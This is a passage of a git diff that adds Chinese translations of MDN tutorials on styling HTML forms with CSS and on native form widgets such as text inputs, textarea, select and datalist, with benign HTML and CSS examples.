harmonization" src="/files/4157/font-firefox-macos.png" style="border-style: solid; border-width: 1px; height: 234px; width: 420px;"></p> + +<p>关于使用系统默认样式的表单还是使用设计用于匹配内容的自定义样式表单,有很多争议。 作为网站或Web应用程序的设计者,您可以自己做出决定。</p> + +<h3 id="盒子模型">盒子模型</h3> + +<p>所有文本字段都完全支持与CSS盒模型相关的每个属性({{cssxref("width")}}, {{cssxref("height")}}, {{cssxref("padding")}}, {{cssxref("margin")}}, 和 {{cssxref("border")}})。 但是,像以前一样,浏览器在显示这些小部件时依赖于系统默认的样式。 您需要定义如何将其融入到您的内容中。 如果你既想保持小部件的原生外观和感觉,又想给他们一个一致的尺寸,那么你会遇到一些困难(如果你想保持组件的原生观感,又想给它们一致的大小,你会面临一些困难)。</p> + +<p><strong>这是因为每个小部件都有自己的边框,填充和边距的规则。</strong> 所以如果你想给几个不同的小部件相同的大小,你必须使用{{cssxref("box-sizing")}} 属性:</p> + +<pre class="brush: css">input, textarea, select, button { + width : 150px; + margin: 0; + + -webkit-box-sizing: border-box; /* For legacy WebKit based browsers */ + -moz-box-sizing: border-box; /* For legacy (Firefox <29) Gecko based browsers */ + box-sizing: border-box; +}</pre> + +<p><img alt="This is a screenshot of the main form widgets on Chrome on Windows 7, with and without the use of box-sizing." src="/files/4161/size-chrome-win7.png" style="border-style: solid; border-width: 1px; height: 213px; width: 358px;"></p> + +<p>在上面的屏幕截图中,左侧的列没有{{cssxref("box-sizing")}},而右侧的列使用了这个属性和<code>border-box</code>。 请注意我们是怎样确保所有元素都占用相同的空间量,尽管平台对每种窗口小部件都有默认规则。</p> + +<h3 id="定位(Positioning)">定位(Positioning)</h3> + +<p>HTML表单部件的定位通常不是问题; 但是,您应该特别注意两点:</p> + +<h4 id="legend">legend</h4> + +<p>{{HTMLElement("legend")}}元素易于应用CSS,除了定位。在所有浏览器中, {{HTMLElement("legend")}} 元素定位是其 {{HTMLElement("fieldset")}} 父元素的上边框的最顶端。在HTML流中无法改变它的绝对位置,无法让其远离顶部边框。然而,你可以使用 {{cssxref("position")}} 属性将其位置设置为绝对或相对。除此之外,它近几年是fieldset边框的一部分。</p> + +<p>由于{{HTMLElement("legend")}}元素对可访问性非常重要,因为它能被无障碍技术作为每个fieldset中的表单元素的标签读出来,它通常与标题配对,并且在无障碍中被隐藏 。例如:</p> + +<h5 id="HTML">HTML</h5> + +<pre class="brush: html"><fieldset> + <legend>Hi!</legend> + <h1>Hello</h1> +</fieldset></pre> + +<h5 id="CSS">CSS</h5> + +<pre class="brush: css">legend { + width: 1px; + height: 1px; + overflow: hidden; +}</pre> + +<h4 id="textarea">textarea</h4> + +<p>默认情况下,所有浏览器都认为{{HTMLElement("textarea")}} 元素是inline block,与文本底线对齐。 这很少是我们真正想看到的。 要将内联(<code>inline-block</code>)块更改为块(<code>block</code>),使用{{cssxref("display")}}属性非常简单。 但是如果你想以inline方式使用它,通常改变垂直对齐方式:</p> + +<pre class="brush: css">textarea { + vertical-align: top; +}</pre> + +<h2 id="示例">示例</h2> + +<p>让我们来看一个样式化 HTML 表单的实际的案例。这有助于理清这里面的许多概念。我们将构建下面的"明信片" 联系人表单:</p> + +<p><img alt="This is what we want to achieve with HTML and CSS" src="/files/4149/screenshot.png" style="border-style: solid; border-width: 1px; height: 249px; width: 370px;"></p> + +<p>如果你想继续关注这个例子,复制我们的 <a href="https://github.com/mdn/learning-area/blob/master/html/forms/postcard-example/postcard-start.html">postcard-start.html</a> 文件,并遵循接下来的指导操作。</p> + +<h3 id="The_HTML">The HTML</h3> + +<p>HTML 只比我们在 <a href="/en-US/docs/HTML/Forms/My_first_HTML_form" title="/en-US/docs/HTML/Forms/My_first_HTML_form">the first article of this guide</a> 中涉及到的多一些;它只有一些额外的 id 和 title。</p> + +<pre class="brush: html"><form> + <h1>to: Mozilla</h1> + + <div id="from"> + <label for="name">from:</label> + <input type="text" id="name" name="user_name"> + </div> + + <div id="reply"> + <label for="mail">reply:</label> + <input type="email" id="mail" name="user_email"> + </div> + + <div id="message"> + <label for="msg">Your message:</label> + <textarea id="msg" name="user_message"></textarea> + </div> + + <div class="button"> + <button type="submit">Send your message</button> + </div> +</form></pre> + +<p>将上面的代码添加到你 HTML 的 body 中。</p> + +<h3 id="组织你的静态文件">组织你的静态文件</h3> + +<p>好戏要开始了! 在开始写代码之前,我们需要三个额外的静态文件:</p> + +<ol> + <li>明信片的<a href="/files/4151/background.jpg" title="The postcard background">背景</a>——下载这幅图片,把它和你的 HTML 文件保存在相同目录下。</li> + <li>打字机字体:<a href="http://www.fontsquirrel.com/fonts/Secret-Typewriter" rel="external" title="http://www.fontsquirrel.com/fonts/Secret-Typewriter">源自 fontsquirrel.com 的 "Secret Typewriter“ 字体</a>——将TTF文件下载到和上面相同的文件夹里。</li> + <li>手绘字体:<a href="http://www.fontsquirrel.com/fonts/Journal" rel="external" title="http://www.fontsquirrel.com/fonts/Journal">源自 fontsquirrel.com 的 The "Journal" 字体 </a> —— 将TTF文件下载到和上面相同的文件夹里。</li> +</ol> + +<p>在你开始之前需要对字体做一些处理:</p> + +<ol> + <li>打开 fontsquirrel <a href="https://www.fontsquirrel.com/tools/webfont-generator">网络字体生成器</a>.</li> + <li>使用表单,上传你的字体文件并生成一个网络字体包,将这个包下载到你的电脑上。</li> + <li>解压提供的 zip 文件。</li> + <li>再解压后的文件内容里你会找到两个 <code>.woff</code> 文件和两个<code>.woff2</code> 文件。将这四个文件拷贝到一个叫 fonts 的文件夹里,而fonts 文件夹位于和上面相同的文件夹里。我们为每种字体使用两个不同的文件以最大限度地保证浏览器兼容性。查看我们的 <a href="/en-US/docs/Learn/CSS/Styling_text/Web_fonts">Web 字体</a> 一文获取更多信息。</li> +</ol> + +<h3 id="CSS_2">CSS</h3> + +<p>现在我们可以深入探究本例的 CSS 了。将下面所有的代码块一个接一个地加到{{htmlelement("style")}} 元素里。</p> + +<p>首先,我们要准备一些基础。这需要定义 {{cssxref("@font-face")}} 规则,以及所有的 {{HTMLElement("body")}} 元素和 {{HTMLElement("form")}} 元素基本规则:</p> + +<pre class="brush: css">@font-face { + font-family: 'handwriting'; + src: url('fonts/journal-webfont.woff2') format('woff2'), + url('fonts/journal-webfont.woff') format('woff'); + font-weight: normal; + font-style: normal; +} + +@font-face { + font-family: 'typewriter'; + src: url('fonts/veteran_typewriter-webfont.woff2') format('woff2'), + url('fonts/veteran_typewriter-webfont.woff') format('woff'); + font-weight: normal; + font-style: normal; +} + +body { + font : 21px sans-serif; + + padding : 2em; + margin : 0; + + background : #222; +} + +form { + position: relative; + + width : 740px; + height : 498px; + margin : 0 auto; + + background: #FFF url(background.jpg); +}</pre> + +<p>现在我们可以定位我们的元素,包括标题和其他表单元素:</p> + +<pre class="brush: css">h1 { + position : absolute; + left : 415px; + top : 185px; + + font : 1em "typewriter", sans-serif; +} + +#from { + position: absolute; + left : 398px; + top : 235px; +} + +#reply { + position: absolute; + left : 390px; + top : 285px; +} + +#message { + position: absolute; + left : 20px; + top : 70px; +}</pre> + +<p>现在我们开始处理表单元素本身。首先,让我们确保 {{HTMLElement("label")}} 被赋予了正确的字体:</p> + +<pre class="brush: css">label { + font : .8em "typewriter", sans-serif; +}</pre> + +<p>文本域需要一些通用的规则,我们只需简单的移除 {{cssxref("border","borders")}} 和 {{cssxref("background","backgrounds")}}, 并重新定义其{{cssxref("padding")}} 和 {{cssxref("margin")}}:</p> + +<pre class="brush: css">input, textarea { + font : .9em/1.5em "handwriting", sans-serif; + + border : none; + padding : 0 10px; + margin : 0; + width : 240px; + + background: none; +}</pre> + +<p>当其中的一个域获得焦点后,我们用浅灰色、半透明的背景高亮它们,注意添加{{cssxref("outline")}} 属性非常重要,这样可以移除由某些浏览器添加的默认高亮效果:</p> + +<pre class="brush: css">input:focus, textarea:focus { + background : rgba(0,0,0,.1); + border-radius: 5px; + outline : none; +}</pre> + +<p>现在我们的文本域已经完成了,我们需要调整单行和多行文本域的显示,使其能够匹配,因为通常情况下它们不会以默认的设置而具有一样的外观。</p> + +<p>单行文本需要一些调整才能在 Internet Explorer 中渲染良好。Internet Explorer 没有基于字体的自然高度来定义文本域的高度(而这是所有其他浏览器都有的行为)。为了修正这个问题,我们需要给域添加一个确定的高度,像下面这样:</p> + +<pre class="brush: css">input { + height: 2.5em; /* for IE */ + vertical-align: middle; /* This is optional but it makes legacy IEs look better */ +}</pre> + +<p>{{HTMLElement("textarea")}} 元素默认地被渲染成一个块级元素。这里有重要地两点是 {{cssxref("resize")}} 和 {{cssxref("overflow")}} 属性。因为我们的设计是一个固定大小的设计,所以我们会使用 <code>resize</code> 属性来防止用户调整我们的多行文本域的大小。{{cssxref("overflow")}} 属性是用来让域在不同的浏览器上渲染得更一致。一些浏览器默认值为 <code>auto</code>,而一些将默认值设为 <code>scroll</code>。在我们得例子中,最好确定每个浏览器都使用 <code>auto</code>:</p> + +<pre class="brush: css">textarea { + display : block; + + padding : 10px; + margin : 10px 0 0 -10px; + width : 340px; + height : 360px; + + resize : none; + overflow: auto; +}</pre> + +<p>{{HTMLElement("button")}} 元素上使用 CSS 非常方便;你可以做你任何想做得事情,甚至包括使用 <a href="/en-US/docs/CSS/Pseudo-elements" title="/en-US/docs/CSS/Pseudo-elements">伪元素</a>:</p> + +<pre class="brush: css">button { + position : absolute; + left : 440px; + top : 360px; + + padding : 5px; + + font : bold .6em sans-serif; + border : 2px solid #333; + border-radius: 5px; + background : none; + + cursor : pointer; + +-webkit-transform: rotate(-1.5deg); + -moz-transform: rotate(-1.5deg); + -ms-transform: rotate(-1.5deg); + -o-transform: rotate(-1.5deg); + transform: rotate(-1.5deg); +} + +button:after { + content: " >>>"; +} + +button:hover, +button:focus { + outline : none; + background: #000; + color : #FFF; +}</pre> + +<p>瞧!</p> + +<div class="note"> +<p><strong>注意:如果你的例子没有像你预期的那样工作,你想将它同我们的版本检查对比,</strong>你可以在Github 上找到它 —— 查看 <a href="https://mdn.github.io/learning-area/html/forms/postcard-example/">在线演示</a> (也可以查看<a href="https://github.com/mdn/learning-area/tree/master/html/forms/postcard-example">源代码</a>)。</p> +</div> + +<h2 id="总结">总结</h2> + +<p>如你所见,若我们想构建只包含文本域和按钮的表单,用 CSS 美化它们非常容易。如果你想要知道更多能够让你的处理表单组件时更轻松的 CSS 小技巧,看一看 <a href="http://necolas.github.com/normalize.css" rel="external" title="http://necolas.github.com/normalize.css">normalize.css </a>项目的表单部分。</p> + +<p><a href="/en-US/docs/Web/Guide/HTML/Forms/Advanced_styling_for_HTML_forms" title="/en-US/docs/Advanced_styling_for_HTML_forms">下一篇文章中</a>,我们将会看到如何处理落入"不好的" 和"丑陋的" 分类的表单组件。</p> + +<p>{{PreviousMenuNext("Learn/HTML/Forms/HTML_forms_in_legacy_browsers", "Learn/HTML/Forms/Advanced_styling_for_HTML_forms", "Learn/HTML/Forms")}}</p> + +<h2 id="在本单元中">在本单元中</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Your_first_HTML_form">Your first HTML form</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form">How to structure an HTML form</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/The_native_form_widgets">The native form widgets</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">Sending form data</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Form_validation">Form data validation</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets">How to build custom form widgets</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Sending_forms_through_JavaScript">Sending forms through JavaScript</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/HTML_forms_in_legacy_browsers">HTML forms in legacy browsers</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Styling_HTML_forms">Styling HTML forms</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Advanced_styling_for_HTML_forms">Advanced styling for HTML forms</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Property_compatibility_table_for_form_widgets">Property compatibility table for form widgets</a></li> +</ul> diff --git a/files/zh-cn/learn/html/forms/the_native_form_widgets/index.html b/files/zh-cn/learn/html/forms/the_native_form_widgets/index.html new file mode 100644 index 0000000000..8ef67a2f7a --- /dev/null +++ b/files/zh-cn/learn/html/forms/the_native_form_widgets/index.html @@ -0,0 +1,683 @@ +--- +title: 原生表单部件 +slug: Learn/HTML/Forms/The_native_form_widgets +translation_of: Learn/Forms/Basic_native_form_controls +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/HTML/Forms/How_to_structure_an_HTML_form", "Learn/HTML/Forms/Sending_and_retrieving_form_data", "Learn/HTML/Forms")}}</div> + +<p class="summary">现在,我们将详细研究不同表单部件的功能,查看了哪些选项可用于收集不同类型的数据。这个指南有些详尽,涵盖了所有可用的原生表单小部件。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>计算机基础知识和对于<a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML的基本理解</a>。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>要了解在浏览器中可以使用什么类型的原生表单小部件来收集数据,以及如何使用HTML实现它们。</td> + </tr> + </tbody> +</table> + +<p>这里我们将关注浏览器内置的表单部件,但是因为HTML表单仍然相当有限并且实现的特性在不同的浏览器中可能是相当不同的,web开发人员有时会建立自己的表单部件——关于这个的更多想法,参见本模块后面的<a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets">如何构建自定义表单部件</a>。</p> + +<div class="note"> +<p><strong>译者注:</strong>widget在本页面中被统一翻译为部件,但在其他地方可能也被译为组件。</p> +</div> + +<div class="note"> +<p><strong>注意:</strong>本文中讨论的大多数特性都在浏览器中得到了广泛的支持;我们会注意到例外的情况。如果您想要更准确的细节,您应该参考我们的<a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element#Forms">HTML表单元素参考</a>,特别是我们的广泛的 <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input"><input></a>类型参考。</p> +</div> + +<h2 id="通用属性">通用属性</h2> + +<p>大部分用来定义表单小部件的元素都有一些他们自己的属性。然而,在所有表单元素中都有一组通用属性,它们可以对这些小部件进行控制。下面是这些通用属性的列表:</p> + +<table> + <thead> + <tr> + <th scope="col">属性名称</th> + <th scope="col">默认值</th> + <th scope="col">描述</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>autofocus</code></td> + <td>(<em>false</em>)</td> + <td>这个布尔属性允许您指定当页面加载时元素应该自动具有输入焦点,除非用户覆盖它,例如通过键入不同的控件。文档中只有一个与表单相关的元素可以指定这个属性。</td> + </tr> + <tr> + <td><code>disabled</code></td> + <td>(<em>false</em>)</td> + <td> + <p>这个布尔属性表示用户不能与元素交互。如果没有指定这个属性,元素将从包含它的元素继承设置,例如{{HTMLElement("fieldset")}};如果没有包含在设定了<code>disabled</code>属性的元素里,那么这个元素就是可用的。</p> + </td> + </tr> + <tr> + <td><code>form</code></td> + <td></td> + <td> + <p>小部件与之相关联的表单元素。属性值必需是同个文档中的{{HTMLElement("form")}} 元素的 <code>id</code>属性。理论上,它允许您在{{HTMLElement("form")}}元素之外设置一个表单小部件。然而,在实践中,没有任何支持该特性的浏览器。</p> + </td> + </tr> + <tr> + <td><code>name</code></td> + <td></td> + <td>元素的名称;这是跟表单数据一起提交的。</td> + </tr> + <tr> + <td><code>value</code></td> + <td></td> + <td>元素的初始值。</td> + </tr> + </tbody> +</table> + +<h2 id="文本输入框">文本输入框</h2> + +<p>文本输入框 {{htmlelement("input")}} 是最基本的表单小部件。 这是一种非常方便的方式,可以让用户输入任何类型的数据。但是,一些文本字段可以专门用于满足特定的需求。我们已经看到了几个简单的例子。</p> + +<div class="note"> +<p><strong>注意</strong>: HTML表单文本字段是简单的纯文本输入控件。 这意味着您不能使用它们执行<a href="https://developer.mozilla.org/en-US/docs/Rich-Text_Editing_in_Mozilla">富文本编辑</a>(粗体、斜体等)。你遇到的所有富文本编辑器(rich text editors)都是使用HTML、CSS和JavaScript所创建的自定义小部件。</p> +</div> + +<p>所有文本框都有一些通用规范:</p> + +<ul> + <li>它们可以被标记为 {{htmlattrxref("readonly","input")}} (用户不能修改输入值)甚至是 {{htmlattrxref("disabled","input")}} (输入值永远不会与表单数据的其余部分一起发送)。</li> + <li>它们可以有一个 {{htmlattrxref("placeholder","input")}}; 这是文本输入框中出现的文本,用来简略描述输入框的目的。</li> + <li>它们可以被限制在{{htmlattrxref("size","input")}} (框的物理尺寸) 和 {{htmlattrxref("maxlength","input")}} (可以输入的最大字符数)。</li> + <li>如果浏览器支持的话,他们可以从<a href="/en-US/docs/HTML/Element/input#attr-spellcheck">拼写检查</a>中获益。</li> +</ul> + +<div class="note"> +<p><strong>注意:</strong> {{htmlelement("input")}}元素是如此特别因为它几乎可以是任何东西。通过简单设置 <code>type</code> 属性,它可以彻底的改变,它用于创建大多数类型的表单小部件,包括单行文本字段、没有文本输入的控件、时间和日期控件和按钮。 然而,也有一些例外,比如用来多行输入的 {{htmlelement("textarea")}}。阅读这篇文章时,要注意这些。</p> +</div> + +<h3 id="单行文本框">单行文本框</h3> + +<p>使用{{htmlattrxref("type","input")}}属性值被设置为<code>text</code> 的{{HTMLElement("input")}}元素创建一个单行文本框(同样的,如果你不提供{{htmlattrxref("type","input")}}属性,<code>text</code> 是默认值)。在你指定的{{htmlattrxref("type","input")}}属性的值在浏览器中是未知的情况下(比如你指定 <code>type="date"</code>,但是浏览器不支持原生日期选择器),属性值<code>text</code>也是备用值。</p> + +<div class="note"> +<p><strong>注意:</strong> 你可以在Github上的 <a href="https://github.com/mdn/learning-area/blob/master/html/forms/native-form-widgets/single-line-text-fields.html">single-line-text-fields.html</a>找到所有单行文本框类型。(你也可以直接看<a href="https://mdn.github.io/learning-area/html/forms/native-form-widgets/single-line-text-fields.html">预览版</a>)。</p> +</div> + +<p>这是一个基本的单行文本框示例:</p> + +<pre class="brush: html notranslate"><input type="text" id="comment" name="comment" value="I'm a text field"></pre> + +<p>单行文本框只有一个真正的约束:如果您输入带有换行符的文本,浏览器会在发送数据之前删除这些换行符。</p> + +<p><img alt="Screenshots of single line text fields on several platforms." src="/files/4273/all-single-line-text-field.png" style="height: 235px; width: 655px;"></p> + +<p>HTML5通过为{{htmlattrxref("type","input")}}属性增加特殊值增强了基本单行文本框。这些值仍然将{{HTMLElement("input")}}元素转换为单行文本框,但它们为字段添加了一些额外的约束和特性。</p> + +<h4 id="E-mail_地址框">E-mail 地址框</h4> + +<p>该类型的框将 {{htmlattrxref("type","input")}}属性设置为 <code>email</code> 值:</p> + +<pre class="brush: html notranslate"><input type="email" id="email" name="email" multiple></pre> + +<p>当使用 <code>type</code>时, 用户需要在框中输入有效的电子邮件地址;任何其他内容都会导致浏览器在提交表单时显示错误。注意,这是客户端错误验证,由浏览器执行:</p> + +<p><img alt="An invalid email input showing the message Please enter an email address." src="https://mdn.mozillademos.org/files/14781/email-invalid.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p> + +<p>通过包括{{htmlattrxref("multiple","input")}}属性,它还可以让用户将多个电子邮件地址输入相同的输入(以逗号分隔)。</p> + +<p>在一些设备上(特别是在移动设备上),可能会出现一个不同的虚拟键盘,更适合输入电子邮件地址。</p> + +<div class="note"> +<p><strong>注意</strong>: 您可以在<a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Form_validation">表单数据验证</a>文中找到关于表单验证的更多信息。</p> +</div> + +<h4 id="密码框">密码框</h4> + +<p>通过设置{{htmlattrxref("type","input")}} 属性值为<code>password</code>来设置该类型框:</p> + +<pre class="brush: html notranslate"><input type="password" id="pwd" name="pwd"></pre> + +<p>它不会为输入的文本添加任何特殊的约束,但是它会模糊输入到字段中的值(例如,用点或小行星),这样它就不能被其他人读取。</p> + +<p>请记住,这只是一个用户界面特性;除非你安全地提交你的表单,否则它会以明文发送,这不利于安全——恶意的一方可能会截获你的数据,窃取你的密码、信用卡信息,或者你提交的其他任何东西。保护用户不受此影响的最佳方式是在安全连接上托管任何涉及表单的页面(例如:https://……地址),使得数据在发送之前就已加密。</p> + +<p>现代浏览器认识到在不安全的连接上发送表单数据所带来的安全影响,并且已经实现了警告,以阻止用户使用不安全的表单。有关Firefox实现的更多信息,请参见<a href="/en-US/docs/Web/Security/Insecure_passwords">不安全的密码</a>。</p> + +<h4 id="搜索框">搜索框</h4> + +<p>通过设置 {{htmlattrxref("type","input")}}属性值为 <code>search</code> 来设置该类型框:</p> + +<pre class="brush: html notranslate"><input type="search" id="search" name="search"></pre> + +<p>文本框和搜索框之间的主要区别是浏览器的样式——通常,搜索框是渲染成圆角的,并且/可能给定一个“x”来清除输入的值。然而,还有另外一个值得注意的特性:它们的值可以被自动保存用来在同一站点上的多个页面上自动补全。</p> + +<p><img alt="Screenshots of search fields on several platforms." src="/files/4269/all-search-field.png" style="height: 235px; width: 655px;"></p> + +<h4 id="电话号码栏:">电话号码栏:</h4> + +<p>通过 {{htmlattrxref("type","input")}}属性的 <code>tel</code> 值设置该类型框:</p> + +<pre class="brush: html notranslate"><input type="tel" id="tel" name="tel"></pre> + +<p>由于世界范围内各种各样的电话号码格式,这种类型的字段不会对用户输入的值执行任何限制(包括字母,等等)。这主要是在语义上的区分,尽管在一些设备上(特别是在移动设备上),可能会出现一个不同的虚拟键盘,更适合输入电话号码。</p> + +<h4 id="URL_栏">URL 栏</h4> + +<p>通过{{htmlattrxref("type","input")}}属性的<code>url</code> 值设置该类型框:</p> + +<pre class="brush: html notranslate"><input type="url" id="url" name="url"></pre> + +<p>它为字段添加了特殊的验证约束,如果输入无效的url,浏览器就会报告错误。</p> + +<div class="note"><strong>注意:</strong>URL格式良好并不一定意味着它引用了一个实际存在的位置。</div> + +<div class="note"> +<p><strong>注意:</strong>有特殊约束并出错了的输入框可以防止表单被发送;此外,还可以将它们设置为使错误更清晰。我们将在<a href="/en-US/docs/HTML/Forms/Data_form_validation">数据表单验证</a>中详细讨论这个问题。</p> +</div> + +<h3 id="多行文本框">多行文本框</h3> + +<p>多行文本框专指使用 {{HTMLElement("textarea")}}元素,而不是使用{{HTMLElement("input")}} 元素。</p> + +<pre class="brush: html notranslate"><textarea cols="30" rows="10"></textarea></pre> + +<p>textarea和常规的单行文本字段之间的主要区别是,允许用户输入包含硬换行符(即按回车)的文本。</p> + +<p><img alt="Screenshots of multi-lines text fields on several platforms." src="/files/4271/all-multi-lines-text-field.png" style="height: 330px; width: 745px;"></p> + +<div class="note"> +<p><strong>注意:</strong>你可以在Github上的<a href="https://github.com/mdn/learning-area/blob/master/html/forms/native-form-widgets/multi-line-text-field.html">multi-line-text-field.html</a>看到本例(你也可以看<a href="https://mdn.github.io/learning-area/html/forms/native-form-widgets/multi-line-text-field.html">预览版</a>)。注意到在大多数浏览器中,文本区域在右下角有一个拖放操作,允许用户调整它的大小。这种调整能力可以通过使用<a href="/en-US/docs/Learn/CSS">CSS</a>设置文本区域的{{cssxref("resize")}}性质为 <code>none</code> 来关闭。</p> +</div> + +<p>{{htmlelement("textarea")}} 还接受了一些额外的属性,以控制它在几行代码中呈现的效果 (除此以外还有其他几个):</p> + +<p><strong style="font-style: inherit; font-weight: 700;">{{HTMLElement("textarea")}} 元素属性</strong></p> + +<table> + <thead> + <tr> + <th scope="col">属性名</th> + <th scope="col">默认值</th> + <th scope="col">描述</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{htmlattrxref("cols","textarea")}}</td> + <td><code>20</code></td> + <td>文本控件的可见宽度,平均字符宽度。</td> + </tr> + <tr> + <td>{{htmlattrxref("rows","textarea")}}</td> + <td></td> + <td>控制的可见文本行数。</td> + </tr> + <tr> + <td>{{htmlattrxref("wrap","textarea")}}</td> + <td><code>soft</code></td> + <td>表示控件是如何包装文本的。可能的值:<code>hard</code> 或 <code>soft</code></td> + </tr> + </tbody> +</table> + +<p>注意,{{HTMLElement("textarea")}}元素与{{HTMLElement("input")}}元素的编写略有不同。{{HTMLElement("input")}}元素是一个空元素,这意味着它不能包含任何子元素。另一方面,{{HTMLElement("textarea")}}元素是一个常规元素,可以包含文本内容的子元素。</p> + +<p>这里有两个关键点需要注意:</p> + +<ul> + <li>如果您想为{{HTMLElement("input")}}元素定义一个默认值,那么您必须使用<code>value</code>属性;另一方面,对于{{HTMLElement("textarea")}}元素,只需要将默认的文本放在起始标记和{{HTMLElement("textarea")}}的结束标记之间。</li> + <li>因为它的本质, {{HTMLElement("textarea")}}元素只接受文本内容;这意味着将任何HTML内容放入{{HTMLElement("textarea")}}中都呈现为纯文本内容。</li> +</ul> + +<h2 id="下拉内容">下拉内容</h2> + +<p>下拉窗口小部件是一种简单的方法,可以让用户选择众多选项中的一个,而不需要占用用户界面的太多空间。HTML有两种类型的下拉内容:<strong>select box</strong>和<strong>autocomplete box</strong>。在这两种情况下,交互都是相同的——一旦控件被激活,浏览器就会显示用户可以选择的值列表。</p> + +<div class="note"> +<p><strong>注意:</strong>你可以在Github上的<a href="https://github.com/mdn/learning-area/blob/master/html/forms/native-form-widgets/drop-down-content.html">drop-down-content.html</a>看到本例(你也可以看<a href="https://mdn.github.io/learning-area/html/forms/native-form-widgets/drop-down-content.html">预览版</a>)。</p> +</div> + +<h3 id="选择框">选择框</h3> + +<p>一个选择框是用{{HTMLElement("select")}}元素创建的,其中有一个或多个{{HTMLElement("option")}}元素作为子元素,每个元素都指定了其中一个可能的值。</p> + +<pre class="brush: html notranslate"><select id="simple" name="simple"> + <option>Banana</option> + <option>Cherry</option> + <option>Lemon</option> +</select></pre> + +<p>如果需要,可以使用{{htmlattrxref("selected","option")}}属性在所需的{{HTMLElement("option")}}元素上设置选择框的默认值---在页面加载时会默认选择该选项。{{HTMLElement("option")}}元素也可以嵌套在{{HTMLElement("optgroup")}}元素中,以创建视觉关联的组值:</p> + +<pre class="brush: html notranslate"><select id="groups" name="groups"> + <optgroup label="fruits"> + <option>Banana</option> + <option selected>Cherry</option> + <option>Lemon</option> + </optgroup> + <optgroup label="vegetables"> + <option>Carrot</option> + <option>Eggplant</option> + <option>Potato</option> + </optgroup> +</select></pre> + +<p><img alt="Screenshots of single line select box on several platforms." src="/files/4517/all-select.png" style="height: 636px; width: 887px;"></p> + +<p>如果一个{{HTMLElement("option")}}元素设置了<code>value</code>属性,那么当提交表单时该属性的值就会被发送。如果忽略了<code>value</code>属性,则使用{{HTMLElement("option")}}元素的内容作为选择框的值。</p> + +<p>在{{HTMLElement("optgroup")}}元素中,<code>label</code>属性显示在值之前,但即使它看起来有点像一个选项,它也不是可选的。</p> + +<h3 id="多选选择框">多选选择框</h3> + +<p>默认情况下,选择框只允许用户选择一个值。通过将{{htmlattrxref("multiple","select")}}属性添加到{{HTMLElement("select")}}元素,您可以允许用户通过操作系统提供的默认机制来选择几个值。 (如, 同时按下 <kbd>Cmd</kbd>/<kbd>Ctrl</kbd> 并点击多个值).</p> + +<p>注意:在多个选项选择框的情况下,选择框不再显示值为下拉内容——相反,它们都显示在一个列表中。</p> + +<pre class="brush: html notranslate"><select multiple id="multi" name="multi"> + <option>Banana</option> + <option>Cherry</option> + <option>Lemon</option> +</select></pre> + +<p><img alt="Screenshots of multi-lines select box on several platforms." src="/files/4559/all-multi-lines-select.png" style="height: 531px; width: 734px;"></p> + +<div class="note"><strong>注意:</strong>所有支持 {{HTMLElement("select")}} 元素的浏览器也支持 {{htmlattrxref("multiple","select")}} 。</div> + +<h3 id="自动补全输入框">自动补全输入框</h3> + +<p>您可以使用{{HTMLElement("datalist")}}元素来为表单小部件提供建议的、自动完成的值,并使用一些{{HTMLElement("option")}}子元素来指定要显示的值。</p> + +<p>然后使用{{htmlattrxref("list","input")}}属性将数据列表绑定到一个文本框(通常是一个 <code><input></code> 元素)。</p> + +<p>一旦数据列表与表单小部件相关联,它的选项用于自动完成用户输入的文本;通常,这是作为一个下拉框提供给用户的,匹配在输入框中输入了的内容。</p> + +<pre class="brush: html notranslate"><label for="myFruit">What's your favorite fruit?</label> +<input type="text" name="myFruit" id="myFruit" list="mySuggestion"> +<datalist id="mySuggestion"> + <option>Apple</option> + <option>Banana</option> + <option>Blackberry</option> + <option>Blueberry</option> + <option>Lemon</option> + <option>Lychee</option> + <option>Peach</option> + <option>Pear</option> +</datalist></pre> + +<div class="note"><strong>注意:</strong> 根据<a href="http://www.w3.org/TR/html5/common-input-element-attributes.html#attr-input-list">HTML规范</a>,{{htmlattrxref("list","input")}} 属性和{{HTMLElement("datalist")}}元素元素可以用于任何需要用户输入的小部件。但是,除了文本控件外(例如颜色或日期),还不清楚它会如何工作,不同的浏览器在不同的情况下会有不同的表现。正因为如此,除了文本字段以外,要小心使用这个特性。</div> + +<div><img alt="Screenshots of datalist on several platforms." src="/files/4593/all-datalist.png" style="height: 329px; width: 437px;"></div> + +<div></div> + +<h4 id="数据列表支持和后备">数据列表支持和后备</h4> + +<p>{{HTMLElement("datalist")}}元素是HTML表单的最新补充,因此浏览器的支持比我们之前看到的要少一些。最值得注意的是,它在版本小于10的IE中不受支持,同时在版本小于12的Safari中不受支持。</p> + +<p>为了处理这个问题,这里有一个小技巧,可以为这些浏览器提供一个不错的备用:</p> + +<pre class="brush:html; notranslate"><label for="myFruit">What is your favorite fruit? (With fallback)</label> +<input type="text" id="myFruit" name="fruit" list="fruitList"> + +<datalist id="fruitList"> + <label for="suggestion">or pick 